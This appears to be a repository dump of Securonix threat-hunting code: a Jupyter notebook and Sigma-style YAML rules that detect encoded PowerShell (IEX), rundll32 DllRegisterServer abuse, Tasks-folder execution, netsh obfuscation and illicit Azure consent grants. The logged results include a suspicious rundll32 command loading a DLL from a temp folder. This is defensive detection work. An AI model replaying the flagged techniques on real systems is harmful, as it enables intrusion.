27 | "W3sibWFya2Rvd24iOiAiIyMgSHVudGluZyBIeXBvdGhlc2lzIEEyQjogIGh1bnQtcnVuZGxsMzItZGxscmVnaXN0ZXJzZXJ2ZXJcbi0gIEh1bnQgZm9yIHJ1bmRsbDMyLmV4ZSBleGVjdXRpb24gdGhhdCBsb2FkcyB0aGUgRExMIHdpdGggRGxsUmVnaXN0ZXJTZXJ2ZXIgZXhwb3J0IGZ1bmN0aW9uXG4ifSwgeyJjb2RlIjogImltcG9ydCBwYW5kYXMgYXMgcGRcbmltcG9ydCBsb2dnaW5nXG5sb2dnaW5nLmJhc2ljQ29uZmlnKGxldmVsPWxvZ2dpbmcuRVJST1IpXG5cbmZyb20gdml6ci5TVFJWaXpyIGltcG9ydCBTVFJWaXpyXG5mcm9tIG9tZWdhLmNvbnZlcnRlciBpbXBvcnQgU1RST21lZ2FDb252ZXJ0ZXJcbmZyb20gdml6ci5EcmMgaW1wb3J0IERyY1xuIn0sIHsibWFya2Rvd24iOiAiIyMjIENyZWF0ZSBTZWN1cm9uaXggQ2xpZW50XG4ifSwgeyJjb2RlIjogImltcG9ydCBwYW5kYXMgYXMgcGRcbmZyb20gdml6ci5EcmMgaW1wb3J0IERyY1xuXG5jbGllbnQgPSBTVFJWaXpyKGhvc3Q9XCJodHRwczovLyoqcmVkYWN0ZWQqKiouc2VjdXJvbml4Lm5ldC9Tbnlwci9cIiwgdG9rZW49XCIqKipyZWRhY3RlZCoqKlwiKVxudGltZXpvbmUgPSBcIkVTVFwiXG4jc2V0IHRpbWV0YXJhbmdlXG5kdGltZV9mcm9tID0gXCIwOC8wMS8yMDIxIDAwOjAwOjAwXCJcbmR0aW1lX3RvID0gXCIwOC8zMS8yMDIxIDIzOjU5OjU5XCJcbiJ9LCB7ImNvZGUiOiAib21lZ2EgPSBTVFJPbWVnYUNvbnZlcnRlcihcbm9tZWdhX3J1bGVzX2hvbWUgPSAgXCIuL0RlbW8vYXV0by1kcmMvXCIsIFxubWFwcGluZz0gXCIuLi9zdHItb21lZ2EvY29uZmlnL21hcHBpbmcueW1sXCIpXG5cbmEyYl9xdWVyeSA9IG9tZWdhLmNvbnZlcnRCeVVVSUQoXG4gICAgdXVpZCA9IFwiaHVudC1ydW5kbGwzMi1kbGxyZWdpc3RlcnNlcnZlclwiXG4pXG5wcmludChcIlRyYW5zbGF0ZWQgcXVlcnk6XCIpXG5wcmludChhMmJfcXVlcnkpXG4ifSwgeyJjb2RlIjogImRmID0gYXdhaXQgY2xpZW50LnNlYXJjaChcbiAgICBhMmJfcXVlcnksIFxuICAgIHRpbWVfZnJvbT1kdGltZV9mcm9tLCBcbiAgICB0aW1lX3RvPWR0aW1lX3RvXG4pXG5cbmRmID0gZGZbWydkZXN0aW5hdGlvbnByb2Nlc3NuYW1lJywncmVzb3VyY2VjdXN0b21maWVsZDEnLCdzb3VyY2Vwcm9jZXNzbmFtZScsJ3Jlc291cmNlY3VzdG9tZmllbGQyJ11dXG5kZi5jb2x1bW5zID0gWydJbWFnZScsICdDb21tYW5kTGluZScsICdQYXJlbnRJbWFnZScsICdQYXJlbnRDb21tYW5kTGluZSddXG5kZlxuIn0sIHsibWFya2Rvd24iOiAiIyMjIEZpbHRlciBGUFxuIn0sIHsiY29kZSI6ICJwZC5zZXRfb3B0aW9uKCdkaXNwbGF5Lm1heF9yb3dzJywgTm9uZSlcbnBkLnNldF9vcHRpb24oJ2Rpc3BsYXkubWF4X2NvbHVtbnMnLCBOb25lKVxucGQuc2V0X29wdGlvbignZGlzcGxheS53aWR0aCcsIE5vbmUpXG5wZC5zZXRfb3B0aW9uKCdkaXNwbGF5Lm1heF9jb2x3aWR0aCcsIE5vbmUpXG5cbmRmID0gZGZbKGRmWydQYXJlbnRJbWFnZSddICE9ICdmY2Fncy5leGUnKV1cbmRmXG4ifSwgeyJtYXJrZG93biI6ICIjIyMgQ3JlYXRlIGh1bnRpbmcgcnVsZSBmcm9tIHRoaXMgZGZcbiJ9LCB7ImNvZGUiOiAiZHJjID0gRHJjKClcbnJ1bGVfdXVpZCA9IGRyYy5kcmNfZ2VuZXJhdGVfb21lZ2EoZGYsICcuL0RlbW8vYXV0by1kcmMvYXV0by1ydWxlLnltbCcpXG5wcmludChmXCJSdWxlIHdpdGggdXVpZDoge3J1bGVfdXVpZH0gY3JlYXRlZCFcIilcbiJ9LCB7Im1hcmtkb3duIjogIiMjIyBDb252ZXJ0IHJ1bGUgdG8gcXVlcnlcbiJ9LCB7ImNvZGUiOiAib21lZ2EgPSBTVFJPbWVnYUNvbnZlcnRlcihcbm9tZWdhX3J1bGVzX2hvbWUgPSAgXCIuL0RlbW8vYXV0by1kcmMvXCIsIFxubWFwcGluZz0gXCIuLi9zdHItb21lZ2EvY29uZmlnL21hcHBpbmcueW1sXCIpXG5cbmEyYl9xdWVyeSA9IG9tZWdhLmNvbnZlcnRCeVVVSUQoXG4gICAgdXVpZCA9IHJ1bGVfdXVpZFxuKVxucHJpbnQoXCJUcmFuc2xhdGVkIHF1ZXJ5OlwiKVxucHJpbnQoYTJiX3F1ZXJ5KSJ9XQ==\n"
28 | ]
29 | }
30 | ],
31 | "source": [
32 | "drc = VizrIntegration(\n",
33 | " omega_rules_home = \"Demo/auto-drc\", \n",
34 | " mapping= \"Demo/data/mapping.yml\"\n",
35 | ").buildDRC(\"hunt-rundll32-dllregisterserver\")\n",
36 | "\n",
37 | "pd.set_option(\n",
38 | " 'display.max_colwidth', 100\n",
39 | ")\n",
40 | "print(drc)"
41 | ]
42 | },
43 | {
44 | "cell_type": "markdown",
45 | "metadata": {},
46 | "source": [
47 | "## Hunting Hypothesis A2B: hunt-rundll32-dllregisterserver\n",
48 | "- Hunt for rundll32.exe execution that loads the DLL with DllRegisterServer export function\n"
49 | ]
50 | },
51 | {
52 | "cell_type": "code",
53 | "execution_count": 3,
54 | "metadata": {},
55 | "outputs": [],
56 | "source": [
57 | "import pandas as pd\n",
58 | "import logging\n",
59 | "logging.basicConfig(level=logging.ERROR)\n",
60 | "\n",
61 | "from vizr.STRVizr import STRVizr\n",
62 | "from omega.converter import STROmegaConverter\n",
63 | "from vizr.Drc import Drc\n"
64 | ]
65 | },
66 | {
67 | "cell_type": "markdown",
68 | "metadata": {},
69 | "source": [
70 | "### Create Securonix Client\n"
71 | ]
72 | },
73 | {
74 | "cell_type": "code",
75 | "execution_count": 4,
76 | "metadata": {},
77 | "outputs": [],
78 | "source": [
79 | "import pandas as pd\n",
80 | "from vizr.Drc import Drc\n",
81 | "\n",
82 | "client = STRVizr(host=\"https://**redacted***.securonix.net/Snypr/\", token=\"***redacted***\")\n",
83 | "timezone = \"EST\"\n",
84 | "#set timetarange\n",
85 | "dtime_from = \"08/01/2021 00:00:00\"\n",
86 | "dtime_to = \"08/31/2021 23:59:59\"\n"
87 | ]
88 | },
89 | {
90 | "cell_type": "code",
91 | "execution_count": 5,
92 | "metadata": {},
93 | "outputs": [
94 | {
95 | "name": "stdout",
96 | "output_type": "stream",
97 | "text": [
98 | "Translated query:\n",
99 | "rg_functionality = \"Endpoint Management Systems\" AND baseeventid = \"1\" AND resourcecustomfield8 ENDS WITH \"rundll32.exe\" AND resourcecustomfield1 CONTAINS \"DllRegisterServer\"\n"
100 | ]
101 | }
102 | ],
103 | "source": [
104 | "omega = STROmegaConverter(\n",
105 | "omega_rules_home = \"./Demo/auto-drc/\", \n",
106 | "mapping= \"../str-omega/config/mapping.yml\")\n",
107 | "\n",
108 | "a2b_query = omega.convertByUUID(\n",
109 | " uuid = \"hunt-rundll32-dllregisterserver\"\n",
110 | ")\n",
111 | "print(\"Translated query:\")\n",
112 | "print(a2b_query)\n"
113 | ]
114 | },
115 | {
116 | "cell_type": "code",
117 | "execution_count": 6,
118 | "metadata": {},
119 | "outputs": [
120 | {
121 | "data": {
122 | "text/html": [
123 | "\n",
124 | "\n",
137 | "
\n",
138 | " \n",
139 | " \n",
140 | " | \n",
141 | " Image | \n",
142 | " CommandLine | \n",
143 | " ParentImage | \n",
144 | " ParentCommandLine | \n",
145 | "
\n",
146 | " \n",
147 | " \n",
148 | " \n",
149 | " 0 | \n",
150 | " rundll32.exe | \n",
151 | " c:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer | \n",
152 | " wermgr.exe | \n",
153 | " c:\\windows\\system32\\wermgr.exe | \n",
154 | "
\n",
155 | " \n",
156 | " 1 | \n",
157 | " rundll32.exe | \n",
158 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
159 | " fcags.exe | \n",
160 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
161 | "
\n",
162 | " \n",
163 | " 2 | \n",
164 | " rundll32.exe | \n",
165 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
166 | " fcags.exe | \n",
167 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
168 | "
\n",
169 | " \n",
170 | " 3 | \n",
171 | " rundll32.exe | \n",
172 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
173 | " fcags.exe | \n",
174 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
175 | "
\n",
176 | " \n",
177 | " 4 | \n",
178 | " rundll32.exe | \n",
179 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
180 | " fcags.exe | \n",
181 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
182 | "
\n",
183 | " \n",
184 | " 5 | \n",
185 | " rundll32.exe | \n",
186 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
187 | " fcags.exe | \n",
188 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
189 | "
\n",
190 | " \n",
191 | " 6 | \n",
192 | " rundll32.exe | \n",
193 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
194 | " fcags.exe | \n",
195 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
196 | "
\n",
197 | " \n",
198 | " 7 | \n",
199 | " rundll32.exe | \n",
200 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
201 | " fcags.exe | \n",
202 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
203 | "
\n",
204 | " \n",
205 | " 8 | \n",
206 | " rundll32.exe | \n",
207 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
208 | " fcags.exe | \n",
209 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
210 | "
\n",
211 | " \n",
212 | " 9 | \n",
213 | " rundll32.exe | \n",
214 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
215 | " fcags.exe | \n",
216 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
217 | "
\n",
218 | " \n",
219 | " 10 | \n",
220 | " rundll32.exe | \n",
221 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
222 | " fcags.exe | \n",
223 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
224 | "
\n",
225 | " \n",
226 | " 11 | \n",
227 | " rundll32.exe | \n",
228 | " c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer | \n",
229 | " fcags.exe | \n",
230 | " C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe | \n",
231 | "
\n",
232 | " \n",
233 | "
\n",
234 | "
"
235 | ],
236 | "text/plain": [
237 | " Image \\\n",
238 | "0 rundll32.exe \n",
239 | "1 rundll32.exe \n",
240 | "2 rundll32.exe \n",
241 | "3 rundll32.exe \n",
242 | "4 rundll32.exe \n",
243 | "5 rundll32.exe \n",
244 | "6 rundll32.exe \n",
245 | "7 rundll32.exe \n",
246 | "8 rundll32.exe \n",
247 | "9 rundll32.exe \n",
248 | "10 rundll32.exe \n",
249 | "11 rundll32.exe \n",
250 | "\n",
251 | " CommandLine \\\n",
252 | "0 c:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer \n",
253 | "1 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
254 | "2 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
255 | "3 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
256 | "4 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
257 | "5 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
258 | "6 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
259 | "7 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
260 | "8 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
261 | "9 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
262 | "10 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
263 | "11 c:\\windows\\system32\\rundll32.exe fcagiep64.dll,DllRegisterServer \n",
264 | "\n",
265 | " ParentImage ParentCommandLine \n",
266 | "0 wermgr.exe c:\\windows\\system32\\wermgr.exe \n",
267 | "1 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
268 | "2 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
269 | "3 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
270 | "4 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
271 | "5 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
272 | "6 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
273 | "7 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
274 | "8 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
275 | "9 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
276 | "10 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe \n",
277 | "11 fcags.exe C:\\Program Files\\McAfee\\DLP\\Agent\\fcags.exe "
278 | ]
279 | },
280 | "execution_count": 6,
281 | "metadata": {},
282 | "output_type": "execute_result"
283 | }
284 | ],
285 | "source": [
286 | "df = await client.search(\n",
287 | " a2b_query, \n",
288 | " time_from=dtime_from, \n",
289 | " time_to=dtime_to\n",
290 | ")\n",
291 | "\n",
292 | "df = df[['destinationprocessname','resourcecustomfield1','sourceprocessname','resourcecustomfield2']]\n",
293 | "df.columns = ['Image', 'CommandLine', 'ParentImage', 'ParentCommandLine']\n",
294 | "df\n"
295 | ]
296 | },
297 | {
298 | "cell_type": "markdown",
299 | "metadata": {},
300 | "source": [
301 | "### Filter FP\n"
302 | ]
303 | },
304 | {
305 | "cell_type": "code",
306 | "execution_count": 7,
307 | "metadata": {},
308 | "outputs": [
309 | {
310 | "data": {
311 | "text/html": [
312 | "\n",
313 | "\n",
326 | "
\n",
327 | " \n",
328 | " \n",
329 | " | \n",
330 | " Image | \n",
331 | " CommandLine | \n",
332 | " ParentImage | \n",
333 | " ParentCommandLine | \n",
334 | "
\n",
335 | " \n",
336 | " \n",
337 | " \n",
338 | " 0 | \n",
339 | " rundll32.exe | \n",
340 | " c:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer | \n",
341 | " wermgr.exe | \n",
342 | " c:\\windows\\system32\\wermgr.exe | \n",
343 | "
\n",
344 | " \n",
345 | "
\n",
346 | "
"
347 | ],
348 | "text/plain": [
349 | " Image \\\n",
350 | "0 rundll32.exe \n",
351 | "\n",
352 | " CommandLine \\\n",
353 | "0 c:\\windows\\system32\\rundll32.exe c:\\users\\zryan\\appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer \n",
354 | "\n",
355 | " ParentImage ParentCommandLine \n",
356 | "0 wermgr.exe c:\\windows\\system32\\wermgr.exe "
357 | ]
358 | },
359 | "execution_count": 7,
360 | "metadata": {},
361 | "output_type": "execute_result"
362 | }
363 | ],
364 | "source": [
365 | "pd.set_option('display.max_rows', None)\n",
366 | "pd.set_option('display.max_columns', None)\n",
367 | "pd.set_option('display.width', None)\n",
368 | "pd.set_option('display.max_colwidth', None)\n",
369 | "\n",
370 | "df = df[(df['ParentImage'] != 'fcags.exe')]\n",
371 | "df\n"
372 | ]
373 | },
374 | {
375 | "cell_type": "markdown",
376 | "metadata": {},
377 | "source": [
378 | "### Create hunting rule from this df\n"
379 | ]
380 | },
381 | {
382 | "cell_type": "code",
383 | "execution_count": 8,
384 | "metadata": {},
385 | "outputs": [
386 | {
387 | "name": "stdout",
388 | "output_type": "stream",
389 | "text": [
390 | "Rule with uuid: 74646cd5-021e-43f1-95ac-2978a2f4eaaa created!\n"
391 | ]
392 | }
393 | ],
394 | "source": [
395 | "drc = Drc()\n",
396 | "rule_uuid = drc.drc_generate_omega(df, './Demo/auto-drc/auto-rule.yml')\n",
397 | "print(f\"Rule with uuid: {rule_uuid} created!\")\n"
398 | ]
399 | },
400 | {
401 | "cell_type": "markdown",
402 | "metadata": {},
403 | "source": [
404 | "### Convert rule to query\n"
405 | ]
406 | },
407 | {
408 | "cell_type": "code",
409 | "execution_count": 9,
410 | "metadata": {},
411 | "outputs": [
412 | {
413 | "name": "stdout",
414 | "output_type": "stream",
415 | "text": [
416 | "Translated query:\n",
417 | "(rg_functionality = \"Endpoint Management Systems\" AND baseeventid = \"1\") AND (resourcecustomfield8 CONTAINS \"rundll32.exe\" OR (resourcecustomfield1 CONTAINS \"c:\\windows\\system32\\rundll32.exe\" AND resourcecustomfield1 CONTAINS \"appdata\\local\\temp\\MsMpEng.dll,DllRegisterServer\") OR resourcecustomfield7 CONTAINS \"wermgr.exe\" OR resourcecustomfield2 CONTAINS \"c:\\windows\\system32\\wermgr.exe\")\n"
418 | ]
419 | }
420 | ],
421 | "source": [
422 | "omega = STROmegaConverter(\n",
423 | "omega_rules_home = \"./Demo/auto-drc/\", \n",
424 | "mapping= \"../str-omega/config/mapping.yml\")\n",
425 | "\n",
426 | "a2b_query = omega.convertByUUID(\n",
427 | " uuid = rule_uuid\n",
428 | ")\n",
429 | "print(\"Translated query:\")\n",
430 | "print(a2b_query)"
431 | ]
432 | },
433 | {
434 | "cell_type": "code",
435 | "execution_count": null,
436 | "metadata": {},
437 | "outputs": [],
438 | "source": []
439 | }
440 | ],
441 | "metadata": {
442 | "kernelspec": {
443 | "display_name": "Python 3",
444 | "language": "python",
445 | "name": "python3"
446 | },
447 | "language_info": {
448 | "codemirror_mode": {
449 | "name": "ipython",
450 | "version": 3
451 | },
452 | "file_extension": ".py",
453 | "mimetype": "text/x-python",
454 | "name": "python",
455 | "nbconvert_exporter": "python",
456 | "pygments_lexer": "ipython3",
457 | "version": "3.8.1"
458 | }
459 | },
460 | "nbformat": 4,
461 | "nbformat_minor": 4
462 | }
463 |
--------------------------------------------------------------------------------
/omega/examples/detection1.yml:
--------------------------------------------------------------------------------
1 | title: Suspicious Encoded PowerShell Command Line
2 | description: Detects suspicious powershell process starts with base64 encoded commands
3 |
4 | logsource:
5 | category: process_creation
6 | product: windows
7 | detection:
8 | selection1:
9 | CommandLine|contains: ' -e' # covers -en and -enc
10 | selection2:
11 | CommandLine|contains:
12 | - ' jab' #$
13 | - ' sqbfafga' #IEX
14 | condition: all of selection*
15 | level: high
--------------------------------------------------------------------------------
/omega/examples/detection4.yml:
--------------------------------------------------------------------------------
1 | title: Suspicious netsh Commands
2 | description: Detects suspicious obfuscated netsh commands
3 |
4 | logsource:
5 | category: process_creation
6 | product: windows
7 | detection:
8 | selection:
9 | #Image|endswith: 'certutil.exe'
10 | CommandLine|contains:
11 | - '/f'
12 | - '-f'
13 | condition: selection
14 | level: high
--------------------------------------------------------------------------------
/omega/examples/drc-EDR-SYM120-RUN.yml:
--------------------------------------------------------------------------------
1 | title: Suspicious Execution From Tasks Folder
2 | description: Detects execution from C:\Windows\Tasks folder
3 | uuid: EDR-SYM120-RUN
4 |
5 | logsource:
6 | category: process_creation
7 | product: windows
8 | detection:
9 | selection:
10 | Image|startswith:
11 | - 'C:\Windows\Tasks\'
12 | condition: selection
13 | level: high
14 |
15 | DRC:
16 | - markdown: |
17 | ## Hunting Hypothesis A2B: EDR-SYM120-RUN
18 | - Task Scheduler stores tasks as C:\Windows\Tasks and this folder is writable by everyone.
19 | - Malicious actor can drop and run executable in to this folder.
20 |
21 | - code: |
22 | #drc
23 | from omega.converter import STROmegaConverter
24 |
25 | omega = STROmegaConverter(
26 | omega_detections_home = "Demo/data/tony/",
27 | mapping= "../str-omega/config/mapping.yml")
28 |
29 | a2b_query = omega.convertByUUID(
30 | uuid = "EDR-SYM120-RUN"
31 | )
32 | print("Translated query:")
33 | print(a2b_query)
34 |
35 |
36 |
37 | - markdown: |
38 | ### Create Securonix client and execute hunting query
39 |
40 | - code: |
41 | #drc
42 | from vizr.STRVizr import STRVizr
43 | from vizr.decode import VizrDecode
44 | from IPython.display import display, HTML
45 | import logging
46 | logging.basicConfig(level=logging.ERROR)
47 |
48 | client = STRVizr(host="https://**redacted***.securonix.net/Snypr/", token="***redacted***")
49 | timezone = "EST"
50 |
51 | dtime_from = "07/04/2021 00:00:00"
52 | dtime_to = "07/07/2021 23:59:59"
53 |
54 | df = await client.search(
55 | a2b_query,
56 | time_from=dtime_from,
57 | time_to=dtime_to
58 | )
59 |
60 | df[['datetime' ,'destinationprocessname', 'resourcecustomfield8', 'accountname', 'sourcehostname']]
61 |
62 | - markdown: |
63 | ### Show unique combination of host/user/logon_session
64 | - code: |
65 | #drc
66 | grouped_df = df.groupby(['sourcehostname','devicecustomstring4','destinationusername'])\
67 | .size()\
68 | .reset_index()\
69 | .rename(columns={0:'count'})
70 | grouped_df
71 | - code: |
72 | #drc
73 | #select host/logon_session
74 | row = 0
75 | host = grouped_df.iloc[row]['sourcehostname']
76 | logon_session = grouped_df.iloc[row]['devicecustomstring4']
77 | print(f"Selected host: {host} logon_session:{logon_session}")
78 | - code: |
79 | #drc
80 | #collect all events(eid=1) for given host/logon_session to build process tree
81 | query = '''rg_functionality = "Endpoint Management Systems" AND baseeventid = 1 AND sourcehostname = %s AND devicecustomstring4 = %s''' % (host, logon_session)
82 |
83 | all_df = await client.search(query,
84 | time_from=dtime_from,
85 | time_to=dtime_to)
86 | display(all_df.shape)
87 | display(all_df[['sourcehostname', 'devicecustomstring4', 'destinationprocessname', 'sourceprocessname', 'deviceexternalid', 'flowsiemid', 'resourcecustomfield2']].head(5))
88 |
89 | - markdown: |
90 | ## Build Process Tree Graph For sessionid's
91 | - include: build_process_tree_template_01
92 | - markdown: |
93 | ### Show all PowerShell executions with encoded commands.
94 | - code: |
95 | #drc
96 | cmdline = all_df[
97 | (all_df['sourcehostname'] == host)
98 | & (all_df['devicecustomstring4'] == logon_session)
99 | & (all_df['destinationprocessname'] == 'powershell.exe')
100 | ]['resourcecustomfield1'].item()
101 |
102 | with pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also
103 | display(cmdline)
104 | print("\nDecoded: \n")
105 | display(VizrDecode.base64decode(cmdline))
106 | - markdown: |
107 | ### Show all PowerShell executions with JAB in command line.
108 | - code: |
109 | #drc
110 | query = '''rg_functionality = "Endpoint Management Systems" AND baseeventid = 1 AND resourcecustomfield1 CONTAINS " JAB" AND destinationprocessname = "powershell.exe"'''
111 | ps_df = await client.search(
112 | query,
113 | time_from=dtime_from,
114 | time_to=dtime_to
115 | )
116 |
117 | ps_df[['datetime', 'sourcehostname', 'destinationusername','resourcecustomfield1']]
118 | - markdown: |
119 | ### Decode PowerShell commands
120 | - code: |
121 | #drc
122 | df = ps_df.copy()
123 | df = VizrDecode.base64decode_df(df,'resourcecustomfield1', 'decoded')
124 |
125 | import re
126 | def obfuscate(x):
127 | if len(x) > 500:
128 | return "-"
129 | return re.sub(r'(.*?githubusercontent.com/).*(/tooling.*?)', r'\1***redacted***\2', x)
130 |
131 | df['decoded'] = df.apply(lambda row: obfuscate(row['decoded']), axis=1)
132 |
133 | df[['datetime', 'sourcehostname', 'destinationusername', 'decoded']]
--------------------------------------------------------------------------------
/omega/examples/drc-app-registration.yml:
--------------------------------------------------------------------------------
1 | # omega - compound/second order attack behavior detection by Securonix
2 | title: Potential Illicit Consent Grant Analytic
3 | uuid: drc-05
4 | description: Potential Illicit Consent Grant Analytic
5 |
6 | omega_securonix_ueba:
7 | snpr_policy:
8 | violator: Activityaccount
9 | category: ALERT
10 | threatname: Suspicious Access Pattern
11 | functionality: cloud
12 |
13 | logsource:
14 | category: cloud #process_creation
15 | product: azure #windows
16 | detection:
17 | selection:
18 | OperationName: 'Consent to application'
19 | condition: selection
20 |
21 | DRC:
22 | - markdown: "## Check inventory apps with access in your organization"
23 | - code: |
24 | #drc
25 | from vizr.azure.base import Azure
26 | - markdown: |
27 | ## Enter client_id, tenant_id, secret
28 | - code: |
29 | #drc
30 | az = Azure(
31 | client_id = "**redacted**",
32 | tenant_id = "**redacted**",
33 | secret = "**redacted**"
34 | )
35 | - markdown: |
36 | ## Run cells below and review:
37 | - In the ConsentType search for the value "AllPrinciples". The AllPrincipals permission allows the client application to access everyone's content in the tenancy. Native Microsoft 365 applications need this permission to work correctly. Every non-Microsoft application with this permission should be reviewed carefully.
38 |
39 | - In the Permission column (column F) review the permissions that each delegated application has to content. Look for \"Read\" and \"Write\" permission or \"*.All\" permission, and review these carefully because they may not be appropriate.
40 | - markdown: |
41 | ## Delegated Permission Grants
42 | - code: |
43 | #drc
44 | pd.set_option(
45 | 'display.max_colwidth', 100
46 | )
47 | az.getDelegatedOauth2PermissionGrants()
48 | df = az.getDelegatedOauth2PermissionGrants()
49 | df
50 | - markdown: |
51 | ## Application Permission Grants
52 | - code: |
53 | #drc
54 | df = az.getApplicationOauth2PermissionGrants()
55 | df
56 |
57 |
58 |
--------------------------------------------------------------------------------
/omega/examples/drc-hunt-rundll32-dllregisterserver.yml:
--------------------------------------------------------------------------------
1 | title: Suspicious DLL Registration With Rundll32
2 | desription: Hunt for rundll32.exe execution that loads the DLL with DllRegisterServer export function
3 |
4 | uuid: hunt-rundll32-dllregisterserver
5 | logsource:
6 | category: process_creation
7 | product: windows
8 |
9 | detection:
10 | selection:
11 | Image|endswith: rundll32.exe
12 | CommandLine|contains: DllRegisterServer
13 | condition: selection
14 |
15 | DRC:
16 | - markdown: |
17 | ## Hunting Hypothesis A2B: hunt-rundll32-dllregisterserver
18 | - Hunt for rundll32.exe execution that loads the DLL with DllRegisterServer export function
19 | - code: |
20 | import pandas as pd
21 | import logging
22 | logging.basicConfig(level=logging.ERROR)
23 |
24 | from vizr.STRVizr import STRVizr
25 | from omega.converter import STROmegaConverter
26 | from vizr.Drc import Drc
27 |
28 |
29 | - markdown: |
30 | ### Create Securonix Client
31 | - code: |
32 | import pandas as pd
33 | from vizr.Drc import Drc
34 |
35 | client = STRVizr(host="https://**redacted***.securonix.net/Snypr/", token="***redacted***")
36 | timezone = "EST"
37 | #set timetarange
38 | dtime_from = "08/01/2021 00:00:00"
39 | dtime_to = "08/31/2021 23:59:59"
40 | - code: |
41 | omega = STROmegaConverter(
42 | omega_detections_home = "./Demo/auto-drc/",
43 | mapping= "../str-omega/config/mapping.yml")
44 |
45 | a2b_query = omega.convertByUUID(
46 | uuid = "hunt-rundll32-dllregisterserver"
47 | )
48 | print("Translated query:")
49 | print(a2b_query)
50 | - code: |
51 | df = await client.search(
52 | a2b_query,
53 | time_from=dtime_from,
54 | time_to=dtime_to
55 | )
56 |
57 | df = df[['destinationprocessname','resourcecustomfield1','sourceprocessname','resourcecustomfield2']]
58 | df.columns = ['Image', 'CommandLine', 'ParentImage', 'ParentCommandLine']
59 | df
60 | - markdown: |
61 | ### Filter FP
62 | - code: |
63 | pd.set_option('display.max_rows', None)
64 | pd.set_option('display.max_columns', None)
65 | pd.set_option('display.width', None)
66 | pd.set_option('display.max_colwidth', None)
67 |
68 | df = df[(df['ParentImage'] != 'fcags.exe')]
69 | df
70 | - markdown: |
71 | ### Create detection from this df
72 | - code: |
73 | drc = Drc()
74 | detection_uuid = drc.drc_generate_omega(df, './Demo/auto-drc/auto-detection.yml')
75 | print(f"Detection with uuid: {detection_uuid} created!")
76 | - markdown: |
77 | ### Convert detection to query
78 | - code: |
79 | omega = STROmegaConverter(
80 | omega_detections_home = "./Demo/auto-drc/",
81 | mapping= "../str-omega/config/mapping.yml")
82 |
83 | a2b_query = omega.convertByUUID(
84 | uuid = detection_uuid
85 | )
86 | print("Translated query:")
87 | print(a2b_query)
--------------------------------------------------------------------------------
/omega/examples/drc_snippets_tempate.yml:
--------------------------------------------------------------------------------
1 | title: DRC snippets
2 | uuid: DRC_snippets_93d43e52-f02c-4468-b097-511b56f4211e
3 |
4 | DRC:
5 | -
6 | uuid: build_process_tree_template_01
7 | code: |
8 | #drc snippets
9 | from pyvis import network as net
10 | import networkx as nx
11 |
12 | process_tree_nodes = all_df.copy()
13 | process_tree_nodes = process_tree_nodes[
14 | (process_tree_nodes['sourcehostname'] == host)
15 | &
16 | (process_tree_nodes['devicecustomstring4'] == logon_session)
17 | ]
18 |
19 | G=nx.DiGraph()
20 |
21 | def create_graph(row):
22 | #parent meta
23 | parent_meta = "\
24 | LogonID: {}/{}
\
25 | Account: {}
\
